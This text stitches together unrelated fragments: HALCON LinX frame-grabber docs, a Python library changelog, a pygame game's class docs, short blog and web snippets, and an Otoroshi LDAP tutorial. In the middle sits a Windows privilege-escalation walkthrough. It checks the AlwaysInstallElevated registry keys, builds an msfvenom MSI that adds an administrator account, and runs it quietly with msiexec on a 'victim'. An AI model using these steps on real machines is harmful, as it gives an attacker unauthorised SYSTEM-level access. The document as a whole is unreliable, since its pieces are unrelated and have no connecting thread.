State of one of the digital output lines (with X = 0, 1, 2, 3, 4, 5 or 6).
|
| 'overflow_count' |
<number> |
|
integer |
dynamic |
Number of overflows that have occurred. |
| 'overflow_thread' |
'disable', 'enable' |
'disable' |
string |
pre-defined |
Start/stop overflow thread to reset acquisition in continuous grabbing mode when there is an overflow exception.
|
| 'overwrite_method' |
'abort', 'ignore' |
'abort' |
string |
pre-defined |
Specify how the interface should handle situations where the external trigger is received faster than the images are read by the application in
continuous grabbing mode (see also the corresponding section below).
|
| 'port' |
<port> |
0 |
integer |
pre-defined |
Current port number. |
| 'read_buf_size' |
0...32768 |
0 |
integer |
dynamic |
Number of bytes to read from the read buffer of an open comm port. This will most likely be set before each read, unless the message from
the camera is always the same size.
|
| 'resnap' |
'false', 'true' |
'false' |
string |
pre-defined |
Re-snap mode. |
| 'revision' |
'<revision>' |
|
string |
pre-defined |
Revision number of the LinX interface. |
| 'serial_baudrate' |
<baud> |
9600 |
integer |
dynamic |
Baud rate for serial communication. |
| 'serial_message' |
'<string>' |
|
string |
dynamic |
Receive a string via the serial interface, see also 'comm_read_str'. |
| 'serial_message_buf_size' |
1 ... 32767 |
1024 |
integer |
dynamic |
Maximum buffer size for receive strings via 'serial_message'. |
| 'serial_terminate_code' |
0...255 |
LF(0x0A) |
integer |
dynamic |
Termination character of the receive string. If you call get_framegrabber_param with the parameter 'serial_message', the receive
process is finished by receiving this character.
|
| 'serial_timeout' |
<milliseconds> |
1000 |
integer |
dynamic |
Timeout for serial communication (in milliseconds). |
| 'serial_write_delay' |
<milliseconds> |
0 |
integer |
dynamic |
Timeout in milliseconds for serial write operations. |
| 'software_trigger' |
'disable', 'enable' |
'disable' |
string |
pre-defined |
Enable or disable the software trigger mode (shot grabbing). Note that the software trigger mode can only be used with a one shot camera file.
|
| 'start_async_after_grab_async' |
'disable', 'enable' |
'enable' |
string |
pre-defined |
Status of 'start_async_after_grab_async'. |
| 'start_column' |
<column> |
0 |
integer |
pre-defined |
Returns the current start column of the HALCON image. |
| 'start_row' |
<row> |
0 |
integer |
pre-defined |
Returns the current start row of the HALCON image. |
| 'trigger_timeout' |
<milliseconds> |
|
integer |
dynamic |
Specify the desired timeout (milliseconds passed as an integer) for aborting a pending grab when waiting for an external trigger (a default of 60 seconds
is set during open_framegrabber).
|
| 'vertical_resolution' |
<resolution> |
1 |
integer |
pre-defined |
Current value of vertical resolution. |
| 'volatile' |
'disable', 'enable' |
'disable' |
string |
pre-defined |
Grayscale only. In the volatile mode the two image acquisition interface buffers are used directly to store HALCON images. This is the
fastest mode avoiding to copy raw images in memory. However, be aware that
older images are overwritten again and again as a side-effect. Thus, you
can only process one image while you grab another image. Older images are
invalid!
|
| 'wait_frame_exposure' |
<status> |
|
integer |
dynamic |
Returns when the exposure of the camera has finished. If the value 0 is returned, an error occurred. The return value 1 indicates,
that a timeout was reached (see 'wait_frame_exposure_timeout).
In case of success, the value 2 is returned.
|
| 'wait_frame_exposure_timeout' |
<milliseconds> |
|
integer |
dynamic |
Sets the timeout [ms] used by 'wait_frame_exposure'. |
Not supported by this interface.
Not supported by this interface.
All actually supported callback types of a specific image acquisition device can be queried by calling
get_framegrabber_param with the
parameter 'available_callback_types'.
Once the callback is registered, on every occurrence of the underlying
event (e.g., the notification that the exposure has finished) the
specified callback function will be called. If the callback function is
set to NULL, the corresponding callback will be unregistered.
The signature of the callback function is
Herror (__stdcall *HAcqCallback)(void *AcqHandle, void *Context,
void *UserContext) and uses the following parameters:
- AcqHandle
Acquisition handle of the corresponding image acquisition instance.
- Context
Optional context data of the specific callback. In the
LinX interface, this parameter is not used, i.e., Context
is set to NULL.
- UserContext
User context as set via set_framegrabber_callback.
Using user-callback functions
Note that the execution time of a user-specific callback function should
always be as short as possible since during the execution of a callback
function the handling of further internal callbacks might be blocked.
This can be achieved by removing the current processing from the
user-specific callback function to a separate thread that is controlled
via signals or events.
| Type |
Description |
| 'transfer_end' |
Corresponds to the end of the image DMA. |
Not supported by this interface.
grab_image starts a new synchronous grab. See also
grab_image. Note that
the interface converts the image from the device to the desired image format
specified by the parameters 'image_width', 'image_height', 'start_row',
'start_column', 'bits_per_channel', and 'color_space'.
grab_image_async returns an image and starts the next asynchronous grab. See also
grab_image_async.
Note that
the interface converts the image from the device to the desired image format
specified by the parameters 'image_width', 'image_height', 'start_row',
'start_column', 'bits_per_channel', and 'color_space'.
Not supported by this interface.
Not supported by this interface.
Multiple Cameras (Port Switching)
It is possible to connect more than one camera to a LinX GINGA digital-CLe or GINGA++Me board. You will need specific camera
configuration files to do this, which have to be installed in your system
with the LinX configuration program
GingaSysReg (please
contact LinX for details). GingaSysReg attaches a number to
each camera (starting with 0). This number is used as
port parameter
in the HALCON interface. To access a specific camera, you have to specify
the corresponding port. This setting can be changed dynamically using
set_framegrabber_param(...'port switching'...). However, in this case
the used cameras must be
compatible, that is of the same type or with
similar features (if in doubt please contact your local vendor or
LinX).
With this mechanism you can access multiple cameras with one frame grabber
handle. Note that a pending asynchronous job is aborted when changing
the port. Therefore, it does not make much sense to use
grab_image_async
in combination with port switching. Please note further the simple
HDevelop example program
linx_2ports you will find in
%HALCONROOT%\examples\hdevelop\Image\Acquisition.
Continuous Grabbing
The continuous grabbing mode is used for completely asynchronous grabbing with or without external triggering: If you activate this mode
via
set_framegrabber_param(..., 'continuous_grabbing', 'enable')
images will be acquired (with each trigger if triggering is enabled) and
stored in N buffers in a cyclic way
without any additional explicit
software trigger like
grab_image.
Thus, your HALCON application can process other data without loosing a
frame. This is, for example, very useful for the acquisition of images
under specific lighting conditions which are triggered by a sequence
controller with a fixed timing. In continuous grabbing mode both
grab_image and
grab_image_async simply will return the next frame (or wait
if it has not been acquired so far). Note that with the standard
asynchronous grabbing there can only be
one grab job pending.
Thus, you can only acquire one frame in parallel to processing, e.g.,
the previous frame. Now you can acquire
N frames in parallel with
N between 2 and 1000 (as specified with the parameter
'num_buffers'). Note that you have to specify the desired
number of buffers via
set_framegrabber_param(...'num_buffers'...)
before enabling the continuous grabbing mode!
In this continuous grabbing mode you might encounter situations where the
images are acquired at a faster rate than they are read by your application.
Thus, the N buffers will fill up and finally you will encounter a buffer
that was not read so far, but should be overwritten by the next frame.
You can decide what to do in this situation via the parameter
'overwrite_method':
- 'abort':
Before overwriting any frame, abort the acquisition. This is the most
safe method. The main user will be able to process any good buffers
still in the system before an error is returned.
- 'ignore':
Ignore the problem and overwrite the buffer. Thus, some of the older
frames that already have been acquired (but not processed so far) will
be lost.
HDevelop Examples
For this interface there are the following examples available:
- linx_2boards.hdev -
Example for the usage of two LinX frame grabber boards.
- linx_2ports.hdev -
Usage of two cameras ndport switching.
- linx_cont.hdev -
Shows parameterization of a LinX frame grabber
board (set up of 'continuous grabbing')
- linx.hdev -
Benchmark
- linx_simple.hdev -
A simple example to show the usage of the interface.
C++ Examples
For this interface there is also a further C++ Visual Studio Project to demonstrate the usage of the operators
get_framegrabber_callback and
set_framegrabber_callback. Please check the directory
%HALCONEXAMPLES%\cpp\console\vs2005\. If you prefer building the example via
the console, please check the following folder %HALCONEXAMPLES%\cpp\console\.
With a Linux OS please use $HALCONEXAMPLES/cpp/console/.
C# Examples
Release Notes
- Revision 13.0.2 (Oct 23, 2018):
- The LinX SDK has been updated to 5.90.
- The technical dependency from the HALCON Library has been removed.
- When querying the 'camera_type' parameter if the camera file path
contained UNICODE characters it was not displayed correctly.
This problem has been fixed.
- Revision 13.0.1 (Oct 28, 2016):
- HALCON 13 version of the interface.
- Revision 6.1 (Sep 28, 2016):
- The parameter 'num_simultaneous_cameras' is no longer
supported. For backward compatibility it is still available,
but you get an error message, if you want to use it.
- The parameters 'do_comm_read_int' and 'do_comm_read_str' have
been renamed to 'comm_read_int' and 'comm_read_str'.
For backward compatibility the old names still work.
- Setting an empty value in set_framegrabber_param led to a crash.
This problem has been fixed.
- The example 'linx_2simultaneous' has been removed.
- Revision 6.0 (Oct 31, 2014):
- HALCON 12 version of the interface.
- Revision 5.3 (Sep 26, 2014):
- Withdraw to SDK 5.40. Removed all parameters and functions
which were added in the last revision.
- Revision 5.2 (Aug 28, 2013):
- Adapted to LinX SDK 5.70.
- Added parameters 'cc:x', 'continuous_grab_timeout', 'register_peek',
'register_poke', 'register_index_peek', 'register_index_poke', and
'register_index_get'.
- Adapted implementation of the serial communication.
- Add functionality to handle 'exposure_end' callbacks.
- Revision 5.1 (Oct 29, 2012):
- Fixed bug in grab_image_start that could lead to a deadlock
situation in combination with succeeding asynchronous image
acquisition operators.
- Revision 5.0 (May 15, 2012):
- HALCON 11 version of the interface (included in HALCON 11 DVD).
- Adapted to LinX SDK 5.60.
- Add new parameters 'next_buffer_acquired_abs',
'wait_frame_exposure' and 'wait_frame_exposure_timeout'.
- Fixed thread safety problem in grab_image and grab_image_async
that could occur if a pending grab was aborted via the 'do_abort_grab'
parameter of set_framegrabber_param.
- Revision 4.2 (Aug 27, 2010):
- Adapted to LinX SDK 5.30.
- Added parameters 'dma_direction', 'lut', 'serial_write_delay',
'start_column', and 'start_row'.
- Improved internal thread handling.
- Removed parameter 'show_internal_errors'; please use
set_system('do_low_error', ...) instead.
- HALCON 10 version of the interface (included in HALCON 10 DVD).
- Revision 4.1 (Jan 22, 2010):
- Add functionality to handle 'transfer_end' callbacks.
- Revision 4.0 (Dec 1, 2008):
- HALCON 9.0 version of the interface (included in HALCON 9.0 DVD).
- New parameters 'set_exposure_and_rate' and 'shutter_speed'.
- Bug fix in parameter 'do_comm_param'.
- Bug fix in get_framegrabber_param for the parameters
'overflow_thread' and 'hardware_exception_thread' to ensure
consistency with set_framegrabber_param.
- Revision 3.0 (Apr 22, 2008):
Legal disclaimer regarding hyperlinks:
This page may provide users with access by hypertext links to external, non-MVTec websites.
Any such access is provided with the understanding that the contents
of non-MVTec sites are beyond the control of MVTec Software GmbH, that
MVTec Software GmbH makes no representations whatsoever about such
sites, and that users shall proceed at their own risk.
MVTec Software GmbH is not responsible for the privacy practices or
the content of external, non-MVTec websites.
Copyright notes:
© Copyright MVTec Software GmbH. All rights reserved.
Unless otherwise stated, the copyright and similar rights in the
contents of this page, including but not limited to all text, designs
and images appearing herein, are copyrighted works owned by MVTec
Software GmbH.
"MVTec Software GmbH" and "HALCON" are registered trademarks of MVTec
Software GmbH.
All other brand names, designs, service marks and trademarks (whether
or not registered) referenced or used herein are the property of their
respective owners.


Change log¶
v2021.12.1¶
Adds support for lzma/xz format in zopen (@zhubonan).
v2021.8.17¶
Support serialization for Pandas DataFrames (@mkhorton).
v2021.7.8¶
Support the specification of fmt keyword arg in monty.serialization loadfn and dumpfn.
v2021.6.10¶
Expanded support for built-in functions, numpy types, etc. in MSON serialization (@utf).
v2021.5.9¶
Drop py3.5 support.
v2021.3.3¶
pydantic support (@shyamd)
UUID serialization support (@utf)
v4.0.2¶
Allow specification of warning category in deprecated wrapper.
v4.0.1¶
USe FutureWarning in the monty.dev.deprecated wrapper instead.
v3.0.4¶
Add support for complex dtypes in MSONable numpy arrays. (@fracci)
v3.0.3¶
Improvements to MSONAble to support Varidac Args (@shyamd).
v3.0.1¶
Bug fixes for Windows.
v3.0.0¶
Py3 only version.
v2.0.7¶
MSONable now supports Enum types. (@mkhorton)
v2.0.6¶
Revert py27 incompatible fmt spec for loadfn and dumpfn for now. This is a much less common use case.
v2.0.5¶
Checking for extension type in loadfn and dumpfn now relies on “.json”, “.yaml” or “.mpk”. Further, now “.yml” and “.yaml” are both recognized as YAML files. (@clegaspi)
A fmt kwarg is now supported in loadfn and dumpfn to specify the format explicitly. (@clegaspi)
v2.0.4¶
Bug fix for invert MSON caused by @version.
v2.0.3¶
Support for nested MSONAble objects with MontyEncoder and dumpfn. (@davidwaroquiers)
Add @version to MSONAble. (@mkhorton)
v2.0.0¶
Support for Path object in zopen.
v1.0.5¶
Bug fix for io.reverse_readfile to ensure txt or binary string.
v1.0.4¶
monty.shutil.remove which allows symlinks removal. Also improved monty.tempfile.ScratchDir cleanup. (@shyamd)
v1.0.3¶
Bug fix for reverse_readfile for bz2 files (Alex Urban)
v1.0.2¶
Misc bug fixes (tempdir on Windows)
v1.0.1¶
Use CLoader and CDumper by default for speed.
v1.0.0¶
Ruamel.yaml is now used as the default YAML parser and dumper.
v0.9.8¶
Now ScratchDir functions as it should by replacing the original directory.
v0.9.7¶
Minor update for inspect deprecation.
v0.9.6¶
Allow private variable names (with leading underscores) to be auto-detected in default MSONable.
v0.9.5¶
Favor use of inspect.signature in MSONAble.
v0.9.3¶
Fix monty decoding of bson only if bson is present.
v0.9.2¶
Minor update.
v0.9.1¶
bson.objectid.ObjectId support for MontyEncoder and MontyDecoder.
v0.9.0¶
Improved default as and from_dict.
v0.8.5¶
Minor bug fixes.
v0.8.4¶
Support for bson fields in jsanitize.
v0.8.2¶
Fasetr gzip.
v0.8.1¶
Update gcd for deprecated fractions.gcd in py >= 3.5. Try math.gcd by default first.
v0.8.0¶
A new collections.tree object, which allows nested defaultdicts.
v0.7.2¶
Added support for msgpack serialization in monty.serialization.dumpfn, loadfn and monty.msgpack.default and object_hook.
v0.7.1¶
Added timeout function. Useful to limit function calls that take too long.
v0.7.0¶
New backwards incompatible MSONable implementation that inspects init args to create a default dict representation for objects.
v0.6.1¶
New jsanitize method to convert objects supporting the MSONable protocol to json serializable dicts.
v0.6.0¶
New frozendict and MongoDict (allows for Javascript like access of nested dicts) classes (Matteo).
New Command class in subprocess which allows commands to be run in separate thread with timeout (Matteo).
v0.5.9¶
More fixes for reverse read of gzipped files ofr Py3k.
v0.5.8¶
Fix reverse read file for gzipped files.
v0.5.7¶
Added a reverse_readfile method in monty.io, which is faster than reverse_readline for large files.
v0.5.6¶
Provide way to specify Dumper and Loader in monty.serialization.
Better handling of unicode.
v0.5.5¶
More robust handling of numpy arrays and datetime objects in json.
Refactor NotOverwritableDict to Namespace (Matteo).
v0.5.4¶
Addition of many help functions in string, itertools, etc. (Matteo).
NullFile and NullStream in monty.design_patterns (Matteo).
FileLock in monty.io (Matteo)
v0.5.3¶
Minor efficiency improvement.
v0.5.2¶
Add unicode2str and str2unicode in monty.string.
v0.5.0¶
Completely rewritten zopen which supports the “rt” keyword of Python 3 even when used in Python 2.
monty.string now has a marquee method which centers a string (contributed by Matteo).
Monty now supports only Python >= 3.3 as well as Python 2.7. Python 3.2 support is now dropped.
v0.4.4¶
Refactor lazy_property to be in functools module.
v0.4.3¶
Additional dev decorators lazy and logging functions.
v0.4.2¶
Improve numpy array serialization with MontyEncoder.
v0.4.1¶
Minor bug fix for module load in Py3k.
v0.4.0¶
Remove deprecated json.loadf methods.
Add MSONable protocol for json/yaml based serialization.
deprecated now supports an additonal message.
v0.3.6¶
monty.tempfile.ScratchDir
now checks for existence of root directory. If root path does not exist, will function as simple pass through. Makes it a lot more robust to bad mounting of scratch directories.
v0.3.5¶
Added backport of functools.lru_cache.
v0.3.4¶
Specialized json encoders / decoders with support for numpy arrays and objects supporting a to_dict() protocol used in pymatgen.
v0.3.1¶
Proper support for libyaml auto-detect in yaml support.
v0.3.0¶
Refactor serialization tools to shorten method names.
v0.2.4¶
Added serialization module that supports both json and yaml. The latter requires pyyaml.
v0.2.3¶
Added get_ncpus method in dev. (G. Matteo).
v0.2.2¶
Add a Fabric-inspired cd context manager in monty.os.
Refactor ScratchDir context manager to monty.tempfile.
v0.2.1¶
Add string module, which provides a function to remove non-ascii characters. More to be added.
v0.2.0¶
ScratchDir now supports non-copying of files to and from current directory, and this is the default (different from prior releases).
Yet more improvements to copy_r to prevent recursive infinite loops in copying.
v0.1.5¶
Added the useful monty.shutil.compress_file, compress_dir, decompress_file and decompress_dir methods.
Much more robust copy_r in shutil.
v0.1.4¶
Bug fix for 0.1.3.
v0.1.2¶
Added zpath method to return zipped paths.
v0.1.1¶
Minor release to update description.
v0.1.0¶
Ensure Python 3+ compatibility.
Travis testing implemented.
v0.0.5¶
First official alpha release with unittests and docs.
v0.0.2¶
Added several decorators and utilities.
v0.0.1¶
Initial version.


GROUND TRANSPORT
Transport specializes in the safe transportation of office, computer, and medical related equipment. From a single laptop to an...
Transport specializes in the safe transportation of office, computer, and medical related equipment. From a single laptop to an...
Transport offers a host of logistic management services and supply chain solutions. We provide innovative solutions with the best...
Transport has access to over a ten million square feet of storage space in strategic partnership locations throughout the...
Transport has access to over a ten million square feet of storage space in strategic partnership locations throughout the...
Transport has access to over a ten million square feet of storage space in strategic partnership locations throughout the...
Transport has access to over a ten million square feet of storage space in strategic partnership locations throughout the...


POS
ONLINE
ORDER
PAYMENT
ONLY
Web
Transfer Balance
Message
Update Menu
Print Menu
Report
Settings
Manager Password
Printer
Change Theme


|
The Legend of Python, Modular Interface Specification
Revison 2.2 12/5/2018
ThisProject'spurposeistore-designanopen-sourceversionofTheLegendofZelda
|
Player Class A pygame sprite subclass for defining the creation of the game's playable character, as well as its interactions with both the user and other entities within the game. More...
Public Member Functions | |
| def | __init__ (self, x, y, hud) |
| Player constructor The constructor for the player object, used within the initialization of the game. More... | |
| def | movechar (self) |
| Function to move the player in a specified direction. | |
| def | move (self, d, b) |
| Function to store which movement buttons are being pressed and let go of by the user. More... | |
| def | attack (self) |
| Function to react to the user pressing the attack button, putting the player into an attack animation and spawning a sword for the duration. | |
| def | useitem (self) |
| Function to react to the user pressing the use item button, putting the player into an attack animation and spawning a boomerang for the duration. | |
| def | moveupdate (self) |
| UPDATE LOOP FUNCTIONS. More... | |
| def | attackupdate (self) |
| Update function for attack and boomerang conditions, as well as handing user collision with enemies (damage taken) Checks sword collision on enemies, and checks the timeout on both the sword and boomerang attack animations, telling the player when they can move again. More... | |
| def | collisionupdate (self) |
| Update function to check collisions between the player and any specified collidable objects, and call their respective collision events. | |
| def | update (self) |
| Player master update function, running all update functions, repeated in main file loop. | |
Public Attributes | |
| image | |
| Player sprite image. | |
| id | |
| Collision ID (To tell other objects what this object is) | |
| leveltrans | |
| Boolean value to tell the game when the player has left the room, and a room transition is needed. | |
| rect | |
| Player x and y position. | |
| walkLeft | |
| Animation sprites for player walking left. | |
| walkRight | |
| Animation sprites for player walking right. | |
| walkUp | |
| Animation sprites for player walking up. | |
| walkDown | |
| Animation sprites for player walking down. | |
| attacksprite | |
| Animation sprites for player attacking. | |
| obj | |
| List of objects that the player can collide with. | |
| hbar | |
| Health bar corresponding to the player's health. | |
| rbar | |
| Rupee bar corresponding to the player's rupy count. | |
| kbar | |
| Key bar corresponding to the player's key count. | |
| totalhp | |
| Player's maximum HP amount. | |
| hp | |
| Player's current HP amount (starts at max) | |
| rupes | |
| Player's rupee counter. | |
| keys | |
| Player's key counter. | |
| collision | |
| Whether the player is currently colliding with anything. | |
| collidbuy | |
| Whether the player has collided with the shop object. | |
| doorcount | |
| How long the player needs to walk into a locked door to use a key and unlock it (Prevents touching and unlocking doors by accident) | |
| spawning | |
| Checks whether the player has just entered a room. | |
| spawncount | |
| Number of frames before the user can take control of the player when they enter a room. | |
| moveable | |
| Boolean allowing and stoping the player from moving. | |
| attackbool | |
| Boolean to tell whether the player is attacking or not. | |
| attackcount | |
| Attack counter, to control how long the attack lasts. | |
| attacksword | |
| Holder for a sword object when attacking. More... | |
| item | |
| Holder for a boomerang object when using item. | |
| itembool | |
| Boolean to tell whether the player is using their boomerang or not. | |
| oldx | |
| Player's x value one frame ago. | |
| oldy | |
| Player's y value one frame ago. | |
| dirbool | |
| Boolean array to tell which directional buttons are pressed or not (starting left going clockwise, dirbool[0] is left, dirbool[1] is up, etc) | |
| dir | |
| Current direction the player is facing. More... | |
| hit | |
| Boolean on whether the player was recently hit. | |
| hitcount | |
| How long a hit counts for on the player (how long until self.hit turns off) | |
| speed | |
| Per-frame unit speed of player. | |
| debug | |
| Whether debug mode is on/off. | |
| hasWon | |
| Has the player won or not. | |
Player Class A pygame sprite subclass for defining the creation of the game's playable character, as well as its interactions with both the user and other entities within the game.
| def actor.player.Player.__init__ | ( | self, | |
| x, | |||
| y, | |||
| hud | |||
| ) |
Player constructor The constructor for the player object, used within the initialization of the game.
The only arguments passed are an initial x and y position, as well as heads-up-display (HUD) elements.
| x | Initial player x coordinate |
| y | Initial player y coordinate |
| hud | Array of HUD elements which act directly with the user's tracked values (health bar, rupy/key count) |
| def actor.player.Player.attackupdate | ( | self | ) |
Update function for attack and boomerang conditions, as well as handing user collision with enemies (damage taken) Checks sword collision on enemies, and checks the timeout on both the sword and boomerang attack animations, telling the player when they can move again.
Also updates the player and reacts accordingly to recieving damage.
| def actor.player.Player.move | ( | self, | |
| d, | |||
| b | |||
| ) |
Function to store which movement buttons are being pressed and let go of by the user.
| d | Direction related to the button pressed (integer value from 0 to 3, starting from the left and going clockwise) |
| b | Boolean value on whether the button is pressed or not |
| def actor.player.Player.moveupdate | ( | self | ) |
UPDATE LOOP FUNCTIONS.
Update function for player movement and according sprite animation
| actor.player.Player.attacksword |
Holder for a sword object when attacking.
Sprite function to delete a sprite object and all relations of the object in the project.
| actor.player.Player.dir |
Current direction the player is facing.
Render Appropriate Sprites According to movement.


Today I started on my one week game project. This is the first update on my progress after a solid day of coding.
I'm trying to keep the concept as simple as possible to allow me to realistically complete the game in my one week deadline. The game is going to be a puzzle based on the player moving blocks around to find a path to the exit.
The platform I'm going to be targeting initially is Windows Phone 7, with the potential for a PC and XBox version at some point in the future. This is mainly to keep the learning curve as low as possible for me as I've already got a fair amount of experience with C# and XNA.
As you can see from the screenshots and video so far I've got some basic player movement and the behaviour for the blocks working. My first task for tomorrow is to code support for different sizes and shapes of blocks, and then to start working on the level structure.
It's quite clear my artwork is definitely not going to be up to scratch, so if you can draw/animate and want to get involved with this project, send me an email or give me a call.


Link Your Battle.net Account
To link your battle.net account to your discord user, please click the button below. You will be redirected to Battle.net to login. This method is secure, as always ensure the url you are loggin into is a battle.net address before you enter your credentials.
Link your account using Battle.net


Algorithm for finding the neighbours in a 1D list. See also
+---+---+---+ | 0 | 3 | 6 | +---+---+---+ | 1 | 4 | 7 | +---+---+---+ | 2 | 5 | 8 | +---+---+---+


It moves the tape
It is an endless tape of Post Machine and cat-carriage who executes commands. Every cell can be filled or empty
Sequence of executed commands
The next command
If the cell is empty, cat executes command from the first field. If it is filled, cat executes command from the second
field
End the program


--- layout: post status: publish published: true title: Android > Unit Test Functional and UI author: display_name: hojunbaek login: hojunbaek email<EMAIL_ADDRESS>url: '' author_login: hojunbaek author_email<EMAIL_ADDRESS>wordpress_id: 1817 wordpress_url: http://ezcocoa.com/?p=1817 date: '2013-07-14 05:06:11 +0900' date_gmt: '2013-07-14 05:06:11 +0900' categories: - Android tags: - android - studio - test - unit comments: [] ---
These are what i referenced.
- http://stackoverflow.com/questions/16586409/how-can-i-create-tests-in-android-studio
- http://www.vogella.com/articles/AndroidTesting/article.html#activity_testing1
- http://tools.android.com/recent/androidstudio018released
Edit: As of 0.1.8 this is now supported in the IDE.
Following the Android Gradle Plugin User Guide I was able to get tests working on the command line by performing the following steps on a newly created project (I used the default 'com.example.myapplication' package):
1. Add a src/instrumentTest/java directory for the tests
2. Add a test class (extending ActivityTestCase) in the package com.example.myapplication.test
3. Start a virtual device
4. On the command line (in the MyApplicationProject/MyApplication directory) use the command '../gradlew connectedInstrumentTest'
This ran my tests and placed the test results in MyApplicationProject/MyApplication/build/reports/instrumentTests/connected. I'm new to testing Android apps, but it seem to work fine.


AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. However, granting users this ability is a security concern because it is too easy to abuse this privilege. For this to occur, there are two registry entries that have to be set to the value of “1” on the machine:
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
The easiest way to check the values of these two registry entries is to utilize the built-in command line tool, reg query:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Now that we know AlwaysInstallElevated is enabled for both the local machine and the current user, we can proceed to utilize MSFVenom to generate an MSI file that, when executed on the victim machine, will add a user to the Local Administrators group:
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
Once you have our newly created MSI file loaded on the victim, we can leverage a command-line tool within Windows, Msiexec, to covertly (in the background) run the installation:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
Note: MSI files created with MSFVenom as well as with the always_install_elevated module discussed below, will fail during installation. This behavior is intentional and meant to prevent the installation being registered with the operating system.
Metasploit: exploit/windows/local/always_install_elevated
Set QUIET


didmount → hoc didmount → will unmount → hoc will unmount
const tree = super.render()
Numeral
shepherdjs
bouncejs
vivus


restaurant
CrowdCheese
Select the label for your image
Choose an image
Image Label
Number of Images Collected


Secure an app and/or your Otoroshi UI with LDAP
Before you start
If you already have an up and running otoroshi instance, you can skip the following instructions
Let’s start by downloading the latest Otoroshi.
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.8.0/otoroshi.jar'
then you can run start Otoroshi :
java -Dotoroshi.adminPassword=password -jar otoroshi.jar
Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with<EMAIL_ADDRESS>Running an simple OpenLDAP server
Run OpenLDAP docker image :
docker run \
-p 389:389 \
-p 636:636 \
--env LDAP_ORGANISATION="Otoroshi company" \
--env LDAP_DOMAIN="otoroshi.tools" \
--env LDAP_ADMIN_PASSWORD="otoroshi" \
--env LDAP_READONLY_USER="false" \
--env LDAP_TLS"false" \
--env LDAP_TLS_ENFORCE"false" \
--name my-openldap-container \
--detach osixia/openldap:1.5.0
Let’s make the first search in our LDAP container :
docker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=otoroshi,dc=tools -D "cn=admin,dc=otoroshi,dc=tools" -w otoroshi
This should output :
# extended LDIF
...
# otoroshi.tools
dn: dc=otoroshi,dc=tools
objectClass: top
objectClass: dcObject
objectClass: organization
o: Otoroshi company
dc: otoroshi
# search result
search: 2
result: 0 Success
...
Now you can seed the open LDAP server with a few users.
Join your LDAP container.
docker exec -it my-openldap-container "/bin/bash"
The command ldapadd
needs of a file to run.
Launch this command to create a bootstrap.ldif
with one organization, one singers group with John user and a last group with Baz as scientist.
echo -e "
dn: ou=People,dc=otoroshi,dc=tools
objectclass: top
objectclass: organizationalUnit
ou: People
dn: ou=Role,dc=otoroshi,dc=tools
objectclass: top
objectclass: organizationalUnit
ou: Role
dn: uid=john,ou=People,dc=otoroshi,dc=tools
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
uid: john
cn: John
sn: Brown
mail<EMAIL_ADDRESS>postalCode: 88442
userPassword: password
dn: uid=baz,ou=People,dc=otoroshi,dc=tools
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
uid: baz
cn: Baz
sn: Wilson
mail<EMAIL_ADDRESS>postalCode: 88443
userPassword: password
dn: cn=singers,ou=Role,dc=otoroshi,dc=tools
objectclass: top
objectclass: groupOfNames
cn: singers
member: uid=john,ou=People,dc=otoroshi,dc=tools
dn: cn=scientists,ou=Role,dc=otoroshi,dc=tools
objectclass: top
objectclass: groupOfNames
cn: scientists
member: uid=baz,ou=People,dc=otoroshi,dc=tools
" > bootstrap.ldif
ldapadd -x -w otoroshi -D "cn=admin,dc=otoroshi,dc=tools" -f bootstrap.ldif -v
Create an Authentication configuration
- Go ahead, and navigate to http://otoroshi.oto.tools:8080
- Click on the cog icon on the top right
- Then
Authentication configs
button - And add a new configuration when clicking on the
Add item
button - Select the
Ldap auth. provider
in the type selector field - Set a basic name and description
- Then set
ldap://localhost:389
asLDAP Server URL
anddc=otoroshi,dc=tools
asSearch Base
- Create a group filter (in the next part, we’ll change this filter to spread users in different groups with given rights) with
- objectClass=groupOfNames as
Group filter
- All as
Tenant
- All as
Team
- Read/Write as
Rights
- objectClass=groupOfNames as
- Set the search filter as
(uid=${username})
- Set
cn=admin,dc=otoroshi,dc=tools
asAdmin username
- Set
otoroshi
asAdmin password
- At the bottom of the page, disable the
secure
button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)
At this point, your configuration should be similar to :
Dont’ forget to save on the bottom page your configuration before to quit the page.
-
Test the connection when clicking on
Test admin connection
button. This should show aIt works!
message -
Finally, test the user connection button and set
john/password
orbaz/password
as credentials. This should show aIt works!
message
Dont’ forget to save on the bottom page your configuration before to quit the page.
Connect to Otoroshi with LDAP authentication
To secure Otoroshi with your LDAP configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.
- Navigate to the danger zone (when clicking on the cog on the top right and selecting Danger zone)
- Scroll to the BackOffice auth. settings
- Select your last Authentication configuration (created in the previous section)
- Save the global configuration with the button on the top right
Testing your configuration
- Disconnect from your instance
- Then click on the Login using third-party button (or navigate to http://otoroshi.oto.tools:8080/backoffice/auth0/login)
- Set
john/password
orbaz/password
as credentials
A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.
Secure an app with LDAP authentication
Once the configuration is done, you can secure any of Otoroshi routes.
- Navigate to any created route
- Add the
Authentication
plugin to your route - Select your Authentication config inside the list
- Save your configuration
Now try to call your route. The login module should appear.
Manage LDAP users rights on Otoroshi
For each group filter, you can affect a list of rights:
- on an
Organization
- on a
Team
- and a level of rights :
Read
,Write
orRead/Write
Start by navigate to your authentication configuration (created in previous step).
Then, replace the values of the Mapping group filter
field to match LDAP groups with Otoroshi rights.
With this configuration, Baz is an administrator of Otoroshi with full rights (read / write) on all organizations.
